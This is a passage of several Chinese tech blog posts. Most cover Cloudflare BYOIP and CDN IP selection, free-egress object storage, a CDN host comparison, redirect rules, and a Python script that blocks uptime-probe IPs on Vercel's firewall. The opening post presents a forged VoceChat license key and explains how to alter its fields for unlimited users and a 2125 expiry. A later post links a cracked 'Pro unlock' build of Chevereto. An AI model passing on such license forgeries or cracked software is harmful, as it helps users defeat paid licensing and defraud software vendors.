*,999999,2025-07-16T12:00:03.675696030+00:00,2125-07-16T00:00:00+00:00,266c90ae11f5d0c2f7a42f29108cc4c6480d6c6d16c561adba7d6ff28aab54eaa7236e708efdfd9315a9a88d88709fae5c3029129494d16470121835aca6b9280c41d5c5f73a78d70c8231a8f66b9dbcd513629dd17456d771d2d0caa670208bdcacdf51fca89204b300b35a123fd99978754713e60ec50dcb7ddb5c64e129488250feca1dd52a258bcbf8d6dd8a93601e0f103c8cc457c4da16641777f9d0a440796af0ad32d3551e406b56e129bd40ac19e88423b645e732e991344781a235b7f83a40190c80dbab1ed56259cab296e5ec183228dfd49c0574d1b535b77954542636c0ae5c05e8f542007c608fe0634bcfd8dfabacdf152c006e14c3d30975 </code></pre> 一共有4个字段 *</code> 即被授权的域名，这里填 *</code> 就是所有域名的意思。如果你从官方买还只能绑定一个域名🤣。如果你想伪造的更完美就把 *</code> 改为你正在用VoceChat的域名即可 999999</code> 为用户数限制，前端会显示为 No Limit</code> 2025-07-16T12:00:03.675696030+00:00</code> 为授权开始日期 2125-07-16T00:00:00+00:00</code> 为授权结束日期 266c***975</code> 似乎是一个验证码，类似身份证的最后一位验证位，但是貌似不起作用😂 那我花350买的授权谁给我补啊🤣</h1> 还在用Cloudflare传统优选？来看看Cloudflare Byoip！ 2025-07-22T00:00:00+00:00 Cloudflare Byoip，即如果用户自己拥有一个IP、IP段，可以将其托管给Cloudflare，并使其受益于Cloudflare全球网络的加速与安全 人话讲就是，有一些IP不直接隶属于Cloudflare，但是我们CNAME到这个IP后仍然可以正常访问到我们部署在Cloudflare上的服务。这些IP可能并不是Anycast，但是国内延迟可能会明显优于Cloudflare的官方IP段 如何找到Cloudflare Byoip？</h1> 可以前往 AS209242 Cloudflare London, LLC details | Ipregistry</a> 尝试使用ITDog强制绑定IP访问你的Cloudflare服务，不返回403即可 我这里返回404是正常的，因为 r2.afo.im 直接连接到Cloudflare R2对象存储，直接访问就是404 </blockquote> 需要注意，有一些Byoip可能会强制跳转到它自己的网站。需要查看ITDog的测试日志是否有重定向，别让你的网站成为他人的引流站 可以长久使用吗？</h1> 这些Byoip固然比Cloudflare官方IP段质量更好，但如果你真的要用，请设置好一个机器定时筛选不可用的IP，以及添加一些Cloudflare官方IP段，防止您的服务宕机 国内对象存储免流量费？Cloudflare带宽联盟究竟是什么？ 2025-07-22T00:00:00+00:00 Cloudflare带宽联盟（Bandwidth Alliance）由一群具有前瞻性思维的云服务和网络公司组成，致力于为共同客户降低或免除数据传输（带宽）费用。 人话：你买的阿里云OSS，腾讯云COS套上CF就可以免流量费 具体哪些服务支持免流量费？</h1> 可以前往 Cloudflare云服务_数据传输_高速云数据传输服务_|Cloudflare中国官网 | Cloudflare</a> 查看 截止到文章发布日，这些服务支持 在这里可以看到，如果您每月需要传输1TB的流量，Cloudflare将为您每月节省如此多的美刀 如何使用？</h1> 假如您有一个阿里云OSS实例，正常来说如果您需要绑定自定义域名，需要CNAME到阿里云的Endpoint，如果您恰好使用Cloudflare NS服务器托管您的域名，只需要打开小黄云即可。 Cloudflare将托管您的阿里云OSS流量，从Cloudflare出口的流量将不收取流量费用 基于阿里云5G内存储费用免费的政策，您可以白嫖5G的对象存储 注意事项</h1> 永远不要泄露您的源站，也就是上文所说的阿里云OSS Endpoint，如果有人发现了您的源站，这些流量不从Cloudflare出口，您将会被收取费用 当然，大部分对象存储服务商支持配置私有访问，详细规则和使用方法请咨询各方客服 都5202年了，还有人不会自建自己的Cloudflare/EdgeOne等各种CDN的优选？ 2025-07-22T00:00:00+00:00 想要做一个优选域名，我们首先需要筛选那些质量好的IP 筛选到质量好的IP后，通过各大云解析DNS厂商更新指定优选域名的DNS解析 最后，将你的域名投入使用，测试优选后效果 如何筛选到质量好的IP？</h1> 假设你要提高国内的访问质量，我们肯定需要国内的机子，如果自家有NAS就再好不过了 如果你想要三网都优选，那么只有你一台机子是不够的，需要同时拥有电信，移动，联通三网的机子去做IP筛选。如果你要做更高级的地域优选，那就...把每个省的三网机子都拿到手？ 有了测试机，接下来我们就需要编写测试脚本 首先我们要知道一个CDN厂商的IP段是什么，这里以Cloudflare为例 我们搜索 Cloudflare IP段</code> 即可找到 对于其他CDN，他们可能并没有直接在网页上公开IP，你需要自行寻找客服咨询 我们得到IP段后，接下来就是编写实际的测试逻辑 我这边仅推荐通过Curl+Resolve实现强制绑定IP访问业务域名然后看返回的状态码正不正常。 注意，这种方案及其考验您的测试机、路由器、ISP、对端服务器的性能！ 但这也是最稳妥的测试方法，主播已经见过了太多TCPing 443通，https访问418或者ping得通，TCPing不通的稀奇古怪CDNIP。请保证您的测试方法筛选到的IP能正常访问到您的访问，避免您的服务宕机 线程不必拉太高，针对于Cloudflare这样有 150w IP的CDN，我们可以仅测试C段，也就是测试完 104.18.91.0</code> 直接测试 104.18.92.0</code> 这样可以节省时间，只需要测5000多个IP 最终，我们得到了一组优选IP 对接华为云云解析DNS</h1> 为什么推荐华为云？ 无他，因为仅华为云一家支持单解析单次记录值支持50个IP、可以创建多个同名解析以及支持仅缓存DNS解析1s（TTL=1） 受益于华为云的这些功能，我们个人用户也可以做到一个域名下面绑定几万个IP（虽然IP不是越多越好） 推荐使用海外版，不需要实名认证 之后通过API文档自行折腾一下API添加DNS解析即可 后期维护</h1> 如果你要做三网优选请添加一个默认解析线路，保证您在个别线路宕机时对应线路的用户不会遇到服务宕机 </li> 每个CDN厂商的IP段可能会不定时变更，请勤查多看，及时更换失效IP </li> 如果遇到服务异常无法得到优选IP，请不要在脚本中编写危险逻辑，如删除所有解析。这会导致大批量服务宕机 </li> 优选并不是主流做法，如果您的站点被攻击，使用自定义CNAME或者IP会导致您的CDN服务商无法为您进行IP调度，高质量IP将被持续攻击，您的CDN服务商可能会采取强制措施如：关停您的业务，封禁您的账号等操作来隔断对方的攻击。当您认为您的站点被攻击时请及时切换到官方为您分配的CNAME或IP </li> </ol> 教你搭建Chevereto这个超级强大的图床！ 2025-07-16T00:00:00+00:00 https://b23.tv/E8Z34KM 正式开始</h1> 资源： https://r2.2x.nz/chevereto_4.3.6-Pro_unlock.zip （感谢宝塔开心版站长！） 使用 PHP 8.1.29 & MySQL 8.0.36 创建一个网站，然后将我们刚刚下载的ZIP上传到站点根目录并解压 你就会得到这一坨 这里开始分支！如果你是Apache请什么都不要动，它会自动检测 .htaccess</code> 。如果你是Nginx请配置 nginx.txt</code> 里面的伪静态规则 然后根据原教程.txt</code> PHP 需要 8.1 以上需要以下PHP扩展： fileinfo imagemagick exif 如果是宝塔还得删除 PHP 禁用函数 putenv proc_open MYSQL 需要 8.0 以上伪静态需要使用我提供的 nginx.txt 里面的 </code></pre> 如果你用的虚拟主机跟博主一样，也是ispmanager，请这样设置PHP 一切就绪，访问你的站点进行Chevereto的安装向导 疑难解答</h1> 如果出现问题，请尝试以管理员身份登录Chevereto，在管理员设置 -> 系统中开启调试模式。这样设置后，Chevereto在出现错误就会告诉你具体发生了什么问题 如果我连系统设置都进不去？请自行找你的PHP Error Log来分析问题 我搭建好的</h1> https://chevereto.php.afo.im/upload 登录后查看所有图片： https://chevereto.php.afo.im/explore/images 我用Claude10分钟写了个六子棋...? 2025-07-14T00:00:00+00:00 本来大晚上被干醒了 准备吃点东西睡回笼觉 顺便在QQ群吹水 然后被委托做一个神经小项目 于是就... 开整！</h1> 首先使用最熟悉的Python Flask框架！ 然后使用最简单的内存数据库！ 然后开始调教AI！ 这里本想用JSON存的但是聪明小AI最终交付的仍然是内存存储</del> 然后就写出来了！（并非，总共问了7次</del> 上线！</h1> 现已可在 https://sixqi.afo.im/ 游玩！ 开源： GitHub - afoim/sixqi</a> N款CDN/静态托管服务商的优缺点比较 2025-07-14T00:00:00+00:00 Netlify</a></h1> 注册门槛高，需要使用谷歌邮箱注册。支持IPv6回源。用量限制较宽松，仅有带宽和构建时间限制。我认为是免费计划里最快的CDN！并且限制很少！ 需要注意，构建时间是每月限制。但是流量限制较为宽松 </blockquote> 因为节点禁Ping，所以这里用Tcping结果展示 推荐CNAME： apex-loadbalancer.netlify.com Vercel</a></h1> 零成本用上。注册无门槛，延迟良好。用量限制较严格。仅支持IPv4回源。默认的 *.vercel.app</code> 在国内会被SNI阻断，需要绑定自己的域名 Vercel每天可以构建100次，每次构建时间不得超过45分钟 </blockquote> 推荐IP： 76.76.21.21 EdgeOne CDN</a></h1> 目前处于内测，需要兑换码。获取方式前往腾讯云EdgeOne免费计划兑换码 - 立即体验</a> 。无流量和请求数限制。 支持高级回源设置 全球可用区（不含中国大陆）</h2> 本人博客目前使用的CDN </blockquote> 默认提供的CNAME延迟一般。下图是使用了本人的HK优选： eo.072103.xyz（注： EdgeOne Page不可用） EdgeOne CDN 中国大陆可用区</h2> 需要实名认证，需要域名备案 默认CNAME可用 Cloudflare</a></h1> 无流量和请求数限制。无法被打死 戳我查看优选域名</a> 下图使用本人的分流优选： fenliu.072103.xyz Render</a></h1> 注册简单，具有严格的用量限制 Github Page</a></h1> 需要使用Github Action发布。中国大陆大部分地区会间歇性阻断，不推荐使用 利用Cloudflare Page提供的重定向功能实现无损耗、不限数量的静态重定向！ 2025-07-13T00:00:00+00:00 直接 Fork我的[仓库](GitHub - afoim/Redirect_Group</a>)。 接着将该仓库连接到Cloudflare部署Worker或Page，然后绑定你的域名 接着更改 _redirects</code> 内的文件 例如： / https://www.afo.im/ 301 /test/* https://test.test/test/:splat 302 </code></pre> 则意味着 访问 /</code> 301 永久重定向到 https://www.afo.im/</code> 访问 /test/*</code> 302 临时重定向到 https://test.test/test/*</code> 已经非常强大了。而且不占用重定向规则配额也不耗费Worker请求数！ 配置Vercel让ITDog测试全部403！ 2025-07-10T00:00:00+00:00 https://www.bilibili.com/video/BV1w7GTzMEy7 获取ITDog等拨测服务的IP</h1> 因为Vercel不支持IPv6，所以我们只需要获取v4IP </blockquote> 如果你有VPS，直接写一个Py脚本创建一个HTTP服务器记录IP去重即可 </li> 如果你只有家里云，可以使用Cloudflare Tunnel，然后获取 CF-Connecting-IP</code> 来曲线救国 </li> </ul> 结论，你已经获得了你要屏蔽的拨测网站的IP 创建Vercel API Token</h1> 前往 https://vercel.com/account/settings/tokens 创建一个Token 抓取防火墙创建/更新接口</h1> 前往 https://vercel.com/your-projects/fuwari/firewall 新增规则 随便写点东西然后抓包 PATCH https://vercel.com/api/v1/security/firewall/config/draft?projectId=prj_UfvbpIvawjL2eAETAiZT7hPLR8W2&teamId=team_lemndzHQNJAcTipIF6elB5Md </code></pre> 将主机名 vercel.com</code> 改为 api.vercel.com</code> 。并携带请求头 Authorization</code> ，值为刚才获取的Token 复制刚才的响应并且稍作修改进行测试，看是否能更新成功 可以看到已经200 OK 使用Python脚本创建大批量IP拒绝规则</h1> 根据本人测试，Vercel虽然在创建规则的时候有一个 is any of</code> 支持填入多个IP，但是单规则最多只能填写75个，所以我们需要一个Python脚本批量帮我们规划。脚本已经写好 使用： python app.py ip.txt</code> 作用：自动获取指定TXT中的内容并将其中的所有IP添加到拒绝规则 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Vercel防火墙规则更新脚本用法: python vercelnoitdog.py xxx.txt """ import sys import json import requests import ipaddress from typing import List, Dict, Any # Vercel API配置 API_BASE_URL = "https://api.vercel.com/v1/security/firewall/config/draft" PROJECT_ID = "prj_UfvbpIvawjL2eAETAiZT7hPLR8W2" TEAM_ID = "team_lemndzHQNJAcTipIF6elB5Md" AUTH_TOKEN = "你的Token" RULE_ID = "rule_noitdog_eGxdcK" # 每组最大IP数量 MAX_IPS_PER_GROUP = 75 def validate_ip_or_cidr(ip_str: str) -> bool: """ 验证IP地址或CIDR格式是否有效 """ try: # 尝试解析为IP地址或网络 ipaddress.ip_address(ip_str) return True except ValueError: try: # 尝试解析为CIDR网络 ipaddress.ip_network(ip_str, strict=False) return True except ValueError: return False def read_ips_from_file(file_path: str) -> List[str]: """ 从文件中读取IP地址和CIDR网段 """ ips = [] invalid_entries = [] try: with open(file_path, 'r', encoding='utf-8') as f: for line_num, line in enumerate(f, 1): ip = line.strip() if ip and not ip.startswith('#'): # 忽略空行和注释 if validate_ip_or_cidr(ip): ips.append(ip) else: invalid_entries.append(f"第{line_num}行: {ip}") print(f"从文件 {file_path} 读取到 {len(ips)} 个有效的IP地址/CIDR网段") if invalid_entries: print(f"⚠️ 发现 {len(invalid_entries)} 个无效条目:") for entry in invalid_entries[:5]: # 只显示前5个 print(f" {entry}") if len(invalid_entries) > 5: print(f" ... 还有 {len(invalid_entries) - 5} 个无效条目") return ips except FileNotFoundError: print(f"错误: 文件 {file_path} 不存在") sys.exit(1) except Exception as e: print(f"读取文件时出错: {e}") sys.exit(1) def chunk_ips(ips: List[str], chunk_size: int = MAX_IPS_PER_GROUP) -> List[List[str]]: """ 将IP列表分组，每组最多包含指定数量的IP """ chunks = [] for i in range(0, len(ips), chunk_size): chunks.append(ips[i:i + chunk_size]) return chunks def create_condition_groups(ip_chunks: List[List[str]]) -> List[Dict[str, Any]]: """ 创建条件组，每个组包含一个IP列表 """ condition_groups = [] for ip_chunk in ip_chunks: condition_group = { "conditions": [ { "op": "inc", "type": "ip_address", "value": ip_chunk } ] } condition_groups.append(condition_group) return condition_groups def create_request_payload(condition_groups: List[Dict[str, Any]]) -> Dict[str, Any]: """ 创建请求负载 """ payload = { "action": "rules.update", "id": RULE_ID, "value": { "name": "noitdog", "active": True, "description": "", "conditionGroup": condition_groups, "action": { "mitigate": { "action": "deny", } } } } return payload def send_request(payload: Dict[str, Any]) -> bool: """ 发送PATCH请求到Vercel API """ url = f"{API_BASE_URL}?projectId={PROJECT_ID}&teamId={TEAM_ID}" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } try: print(f"发送请求到: {url}") print(f"请求数据: {json.dumps(payload, indent=2, ensure_ascii=False)}") response = requests.patch(url, headers=headers, json=payload) print(f"响应状态码: {response.status_code}") print(f"响应内容: {response.text}") if response.status_code == 200: print("✅ 请求成功") return True else: print(f"❌ 请求失败: {response.status_code} - {response.text}") return False except requests.exceptions.RequestException as e: print(f"❌ 网络请求错误: {e}") return False except Exception as e: print(f"❌ 发送请求时出错: {e}") return False def main(): """ 主函数 """ if len(sys.argv) != 2: print("用法: python vercelnoitdog.py <ip_file.txt>") print("示例: python vercelnoitdog.py ips.txt") sys.exit(1) ip_file = sys.argv[1] # 读取IP地址 ips = read_ips_from_file(ip_file) if not ips: print("❌ 没有找到有效的IP地址或CIDR网段") sys.exit(1) # 去重 unique_ips = list(set(ips)) print(f"去重后共有 {len(unique_ips)} 个唯一IP地址/CIDR网段") # 分组 ip_chunks = chunk_ips(unique_ips) print(f"IP地址被分为 {len(ip_chunks)} 组") for i, chunk in enumerate(ip_chunks, 1): print(f"第 {i} 组: {len(chunk)} 个IP/CIDR") # 创建条件组 condition_groups = create_condition_groups(ip_chunks) # 创建请求负载 payload = create_request_payload(condition_groups) # 发送请求 success = send_request(payload) if success: print("\n🎉 防火墙规则更新成功!") else: print("\n💥 防火墙规则更新失败!") sys.exit(1) if __name__ == "__main__": main() </code></pre> 示例ip.txt 223.26.78.6 182.101.26.81 101.226.41.74 117.148.172.71 183.194.216.135 119.96.16.87 112.65.95.205 59.36.216.50 124.225.103.136 125.73.215.4 221.130.18.132 42.81.156.75 59.49.86.70 120.220.190.144 116.153.63.68 219.151.141.70 118.213.140.68 1.180.239.80 36.158.204.68 218.30.71.80 218.98.53.88 182.242.83.133 111.6.225.75 101.207.252.75 221.204.62.68 42.202.219.70 111.13.153.72 121.31.236.73 180.130.113.72 113.207.73.135 36.104.133.71 42.185.158.68 116.176.33.201 60.28.203.70 124.160.160.70 202.108.15.148 116.177.229.5 111.48.137.135 211.139.55.70 156.253.8.27 112.90.210.132 42.63.75.72 36.163.196.91 117.187.182.132 115.231.43.69 153.0.230.8 45.251.101.5 112.48.150.134 116.136.19.134 218.57.21.135 49.71.77.84 123.6.70.5 111.32.145.8 59.80.45.132 112.29.205.70 36.250.8.132 36.147.38.70 220.181.53.87 125.211.192.35 150.139.140.70 223.244.186.68 183.2.175.12 113.240.100.81 117.157.235.95 117.161.136.74 1.193.215.70 111.51.76.68 36.150.79.4 120.233.53.26 58.211.13.98 101.28.250.72 125.64.2.134 113.62.118.132 36.136.125.68 117.177.67.5 211.91.67.89 115.223.6.243 27.185.235.70 111.26.149.68 111.12.212.73 183.201.192.68 111.62.174.73 222.75.5.70 119.147.118.127 218.61.211.101 180.97.244.136 220.162.119.71 125.77.129.206 111.42.192.68 111.29.45.133 117.168.153.198 109.248.18.86 171.15.110.73 116.178.236.69 116.172.154.17 120.201.243.134 183.240.228.133 112.90.40.216 221.8.93.95 120.232.121.180 43.163.239.208 222.79.71.253 150.109.245.197 117.180.235.132 221.181.52.171 120.71.150.171 154.23.241.34 23.225.146.6 194.147.100.44 43.156.69.84 146.185.214.41 43.130.151.11 43.131.29.194 185.99.132.104 38.54.126.18 38.60.209.194 38.54.45.156 38.54.59.59 58.19.20.71 113.201.9.12 116.162.51.68 112.123.37.68 38.54.63.220 125.74.47.33 72.52.114.230 173.255.209.253 192.73.244.230 35.221.248.87 165.227.48.82 144.202.112.137 35.197.10.99 45.77.19.32 103.134.34.7 66.220.18.238 71.19.144.157 174.137.48.255 209.177.156.46 154.21.82.74 128.199.126.228 50.7.8.99 209.177.158.115 192.73.242.50 104.4.224.169 45.45.236.19 103.14.244.246 23.150.40.100 24.86.248.28 216.66.0.234 107.173.182.190 104.225.8.133 103.6.87.164 45.76.118.224 23.237.26.69 103.131.159.213 59.153.100.154 185.40.234.177 163.47.179.246 27.147.166.142 176.58.90.129 65.20.71.66 192.95.26.127 45.114.84.2 50.7.114.87 103.204.80.222 45.159.97.148 123.49.9.6 185.224.3.114 185.44.82.20 103.244.145.149 157.119.186.4 45.159.99.200 93.114.194.138 185.243.217.223 103.109.59.222 51.158.147.91 119.45.133.212 183.245.146.101 51.15.190.186 162.254.84.55 36.151.192.162 101.43.53.133 47.101.65.208 114.130.57.222 139.186.177.82 113.56.218.178 2.58.57.254 148.163.223.19 185.123.101.33 61.164.246.102 154.70.207.18 58.218.205.215 2.189.254.219 148.163.220.22 37.32.6.150 147.78.2.180 103.72.136.138 139.59.35.197 103.85.239.77 45.40.252.184 185.34.3.179 185.30.166.165 60.12.124.101 47.104.185.98 185.106.103.26 43.139.250.146 1.95.214.189 103.81.104.242 45.202.210.37 59.38.99.166 180.153.91.3 119.97.171.14 120.204.196.162 116.153.81.2 1.32.216.91 15.235.167.152 140.207.232.18 58.243.202.72 223.111.24.198 116.253.27.152 59.83.222.20 211.91.243.88 101.71.160.163 124.225.162.194 59.63.230.4 175.6.41.195 220.202.21.129 112.28.234.140 115.236.144.231 125.39.11.1 153.0.192.167 61.190.114.193 121.31.231.89 58.144.173.98 123.6.27.10 58.215.177.156 182.140.221.2 219.144.80.136 111.32.157.133 120.223.242.157 111.47.215.148 1.71.11.171 180.213.48.172 150.138.178.3 112.48.221.77 117.169.16.203 124.239.250.80 111.62.70.129 111.6.251.227 59.80.37.156 36.102.218.76 119.188.148.129 42.63.65.201 36.158.254.130 180.130.96.143 111.206.4.152 61.240.153.196 116.176.35.201 1.31.130.68 116.177.252.82 61.128.145.14 221.204.45.134 117.24.3.143 125.74.24.2 183.201.231.162 101.206.203.18 182.242.140.26 111.10.63.136 183.232.11.45 36.99.143.1 123.184.205.46 111.13.102.12 117.187.142.66 139.215.167.76 218.25.106.113 117.161.24.21 111.19.212.248 219.147.74.6 117.174.129.181 218.203.117.72 111.12.63.131 210.76.62.60 117.157.22.134 36.104.140.200 111.26.55.11 111.40.189.229 111.12.157.228 222.75.58.106 111.29.42.34 183.224.38.14 36.131.159.78 116.178.71.245 117.180.232.165 43.242.167.44 110.157.249.53 134.122.151.96 34.80.186.23 221.181.56.200 139.99.134.84 154.38.106.211 141.164.56.18 51.38.70.219 51.77.203.76 54.38.242.242 148.113.173.25 162.19.154.159 139.84.235.192 172.233.24.182 36.250.246.34 123.6.27.64 157.122.209.77 223.87.182.211 182.106.155.131 58.216.15.29 211.91.166.53 47.97.228.5 221.194.161.44 60.221.194.28 1.31.130.66 120.27.18.28 58.251.56.177 60.223.217.164 39.175.4.28 8.138.119.222 36.251.255.37 36.143.233.41 121.31.231.115 115.236.144.236 61.174.43.24 223.109.76.167 218.8.164.49 123.157.148.149 119.147.156.156 47.106.151.176 113.5.183.26 120.204.196.133 125.39.11.14 61.241.123.180 140.207.232.23 111.123.41.34 101.133.148.180 111.39.146.24 47.94.20.35 180.153.91.21 183.134.36.167 125.64.129.30 116.153.81.66 60.188.118.173 220.181.126.38 111.123.254.134 36.143.193.156 42.56.67.155 111.40.189.252 211.91.243.95 183.36.24.28 116.177.250.162 1.193.218.40 111.62.98.78 42.63.65.199 36.102.218.86 1.71.11.181 120.201.104.153 112.26.229.30 182.242.140.10 120.232.248.163 180.213.48.223 219.147.74.22 183.224.33.198 116.176.35.214 116.136.135.148 60.5.252.39 110.166.65.78 112.28.209.220 113.96.150.162 58.144.173.72 42.59.4.156 111.10.63.158 111.32.157.154 111.29.42.54 58.241.27.162 153.0.192.185 120.39.201.14 222.186.18.152 112.48.141.175 221.204.45.136 101.67.10.151 61.164.147.152 39.98.49.59 1.28.232.27 101.206.203.29 120.223.242.149 117.157.22.147 111.1.160.153 120.232.98.168 58.220.82.34 125.74.24.15 116.253.27.146 111.77.198.151 36.150.43.34 112.122.156.166 111.47.248.69 139.215.162.44 111.63.179.37 58.215.177.5 61.243.17.23 112.29.220.176 110.157.249.48 221.231.92.31 222.81.122.157 117.169.16.130 27.128.221.166 111.13.102.147 36.158.254.168 219.144.80.133 202.104.186.160 111.206.4.206 111.172.239.72 221.195.21.15 61.168.100.167 120.220.212.22 111.12.63.173 120.238.155.29 121.228.188.15 218.205.74.153 117.66.50.176 111.6.251.218 117.161.24.26 119.188.3.89 113.201.180.80 36.104.140.208 111.12.157.239 221.181.56.132 121.17.123.41 218.203.117.84 183.201.231.176 175.6.41.150 1.190.42.161 124.236.43.188 101.200.214.185 43.242.167.59 116.136.134.161 27.159.72.27 124.232.169.149 124.225.162.228 180.110.204.95 183.232.250.130 112.85.251.136 1.194.235.25 125.94.37.14 1.190.198.188 59.83.222.19 223.111.24.209 116.178.73.205 223.111.193.162 61.128.145.22 113.96.108.38 219.128.78.149 183.232.147.27 150.138.40.179 124.229.60.35 117.135.215.165 36.135.11.5 8.130.23.178 182.140.221.50 183.246.206.155 61.240.153.224 59.63.230.28 183.232.48.165 101.71.160.27 36.131.141.25 150.138.74.152 120.210.112.160 220.185.164.153 117.180.232.175 125.72.124.21 124.165.205.158 34.150.84.19 121.11.2.164 183.240.84.160 113.113.101.178 58.243.202.94 39.104.16.158 117.21.225.154 150.138.178.22 111.48.182.22 223.111.255.46 58.222.35.25 36.156.181.50 20.24.72.70 106.117.244.9 180.121.81.39 119.249.48.33 36.150.210.23 182.201.241.181 111.51.100.158 120.233.177.163 120.233.0.35 16.163.131.38 8.137.53.211 113.62.172.189 120.233.177.165 115.236.144.235 180.153.91.20 111.6.251.219 54.220.191.101 113.201.180.79 153.3.232.187 120.27.109.210 183.232.250.171 117.161.24.25 121.11.2.163 223.111.24.210 61.164.147.168 8.208.8.92 34.101.254.179 120.233.0.41 111.12.63.176 119.188.3.86 39.107.137.48 101.133.173.51 47.113.114.116 140.207.232.22 150.138.74.171 219.147.74.24 112.122.156.164 123.6.27.65 58.243.202.102 120.232.248.154 180.213.48.215 111.13.102.148 47.99.106.232 20.74.239.192 223.109.76.169 220.181.126.39 111.206.4.204 120.220.212.35 8.213.210.244 47.74.36.66 52.243.66.112 3.110.8.122 3.37.93.47 54.215.39.119 20.106.77.49 58.144.173.114 120.204.196.151 34.77.123.66 3.228.90.224 15.160.99.228 34.102.85.154 15.152.134.0 34.124.147.129 3.96.235.198 35.203.120.96 1.28.232.24 8.220.206.175 20.113.137.203 39.100.89.75 20.70.168.217 34.88.215.233 120.223.242.152 54.252.17.196 34.105.151.212 34.150.213.129 202.104.186.166 1.193.218.25 101.67.10.149 13.49.141.212 20.73.66.155 54.251.99.254 34.97.52.174 108.136.71.175 15.184.90.0 221.195.21.9 34.118.30.85 47.237.17.19 8.209.136.9 20.194.2.123 8.215.60.204 223.87.182.208 124.165.205.149 13.77.219.191 111.3.88.40 106.117.244.16 65.52.234.249 183.232.147.31 60.188.118.172 104.198.91.239 180.97.251.43 182.106.155.132 223.111.255.38 121.31.231.114 51.140.189.31 112.48.141.173 183.201.231.177 175.6.41.185 121.228.188.17 40.89.179.182 1.31.130.65 124.236.43.190 112.29.220.166 34.138.235.109 150.138.40.178 112.85.251.138 183.246.206.151 220.185.164.177 36.135.11.6 1.190.198.186 104.42.170.197 40.77.126.226 116.178.71.248 51.137.188.42 116.153.81.65 36.150.43.21 125.72.124.30 150.138.178.23 47.108.210.10 47.252.40.117 222.81.122.173 18.169.141.195 182.140.221.49 113.96.150.157 47.91.106.49 8.211.36.84 211.91.166.33 182.242.140.13 125.39.11.22 52.229.73.86 211.91.243.96 36.131.141.36 116.177.250.149 117.180.232.172 116.176.35.216 52.140.120.6 116.253.27.156 13.69.137.62 34.71.216.82 47.251.22.110 1.71.11.180 120.238.155.30 20.41.234.167 20.97.31.166 34.125.140.25 18.198.169.212 47.250.83.225 34.216.180.221 8.212.168.4 34.106.36.80 34.80.25.50 34.141.72.86 117.157.22.159 34.130.170.189 52.67.7.168 15.237.134.31 116.136.135.139 34.64.76.211 20.206.67.205 102.133.191.17 120.210.112.149 3.130.130.218 52.249.251.97 20.203.191.125 13.245.240.194 34.151.203.21 113.5.183.21 47.76.234.71 35.74.182.183 13.73.237.220 34.93.125.50 36.158.254.166 47.87.10.135 20.212.147.238 34.131.245.4 34.129.133.149 20.63.56.18 34.91.245.249 35.201.15.13 34.127.120.136 34.65.109.86 20.210.115.182 14.119.108.97 36.250.8.143 175.6.198.123 122.13.156.93 119.96.16.112 116.153.80.135 112.65.92.24 124.225.43.76 124.160.160.85 115.223.45.12 117.68.65.13 112.132.229.80 180.153.30.124 153.0.230.10 36.140.98.185 222.84.188.147 36.134.84.172 106.227.27.10 116.162.91.15 119.36.116.72 112.85.242.37 36.137.123.208 59.80.45.236 121.31.236.105 123.6.67.55 49.67.73.113 60.28.203.96 150.138.239.152 113.201.9.13 106.38.195.210 202.108.29.83 123.151.105.90 113.207.73.136 113.142.203.39 221.204.79.137 180.130.113.83 211.90.25.90 36.134.81.132 27.221.106.135 36.139.239.145 27.151.24.14 101.207.252.83 27.185.235.86 36.140.22.122 116.176.33.212 125.64.35.87 36.137.22.118 36.148.0.84 111.124.196.23 36.138.180.78 36.134.79.10 118.183.211.82 171.15.110.93 59.49.86.80 42.63.75.92 182.242.214.118 42.202.219.83 116.136.19.158 219.151.141.87 222.75.5.73 36.134.47.198 118.213.140.85 36.137.89.73 36.137.250.224 43.242.183.208 36.138.53.214 42.59.0.91 36.137.50.99 36.134.87.242 36.138.125.196 36.133.106.196 36.97.229.180 36.137.46.212 36.138.129.114 36.133.212.236 36.104.135.11 42.101.84.87 125.211.192.50 139.209.203.85 36.138.249.96 36.139.217.42 36.137.133.156 36.134.76.220 36.134.67.30 36.102.223.206 116.172.154.10 36.139.213.132 36.134.223.27 113.62.118.143 222.81.124.106 116.178.236.108 36.139.215.4 36.133.109.86 112.43.36.140 199.119.65.155 45.135.229.199 170.39.226.168 130.51.40.113 23.159.160.29 45.45.216.219 79.133.121.42 213.255.209.128 170.39.227.192 23.145.48.232 92.223.102.61 92.38.176.123 209.209.57.64 5.188.111.165 162.253.42.95 209.209.59.201 45.9.10.253 38.175.100.1 194.49.68.59 74.118.138.59 104.245.12.220 213.156.157.23 103.170.232.190 103.173.178.158 154.31.112.24 103.121.211.146 51.158.190.4 185.189.72.131 38.175.119.130 185.222.219.5 154.12.190.9 103.170.232.255 45.87.60.12 5.161.74.145 89.37.99.43 5.75.183.245 45.11.104.130 45.142.244.202 185.217.109.206 38.175.116.132 45.11.106.130 5.75.244.23 45.150.240.129 92.223.105.223 38.175.120.128 45.150.242.130 83.138.55.28 45.150.242.131 194.156.162.128 194.156.163.130 45.146.4.70 209.146.104.21 45.11.104.140 103.167.150.110 38.175.114.129 65.109.164.100 128.14.227.111 185.254.74.188 185.248.86.134 45.61.175.191 213.156.142.202 103.213.246.25 45.91.94.193 185.126.238.219 213.183.62.132 170.39.225.200 38.175.117.128 45.87.62.74 5.189.221.103 83.138.53.220 45.131.71.128 38.175.115.131 185.234.213.129 145.14.131.223 5.188.36.17 45.142.247.129 194.99.78.14 106.75.189.151 78.142.195.191 103.136.144.101 170.39.230.26 103.181.45.35 45.142.246.177 45.131.69.99 45.131.70.138 38.175.113.128 146.185.248.29 85.215.238.211 27.148.249.91 106.75.8.5 103.45.78.243 165.154.120.79 185.105.0.67 91.148.134.231 152.32.249.61 38.175.108.20 154.17.1.69 38.175.121.129 213.156.136.76 45.11.105.149 5.78.52.50 180.149.44.87 38.175.122.129 37.143.128.230 209.209.57.133 89.43.111.60 103.208.86.58 213.156.137.109 45.91.92.175 194.156.155.253 185.194.53.117 38.175.112.134 103.213.245.15 91.148.135.223 102.130.48.128 85.215.117.222 102.130.49.151 5.188.6.10 63.250.61.72 45.150.243.145 45.126.125.125 103.117.100.75 87.121.99.217 36.139.22.48 173.245.48.0/20 103.21.244.0/22 103.22.200.0/22 103.31.4.0/22 141.101.64.0/18 108.162.192.0/18 190.93.240.0/20 188.114.96.0/20 197.234.240.0/22 198.41.128.0/17 162.158.0.0/15 104.16.0.0/13 104.24.0.0/14 172.64.0.0/13 131.0.72.0/22 1.14.231.0/24 1.194.174.0/24 1.56.100.0/24 1.71.146.0/23 1.71.88.0/24 101.226.85.128/25 101.33.195.0/24 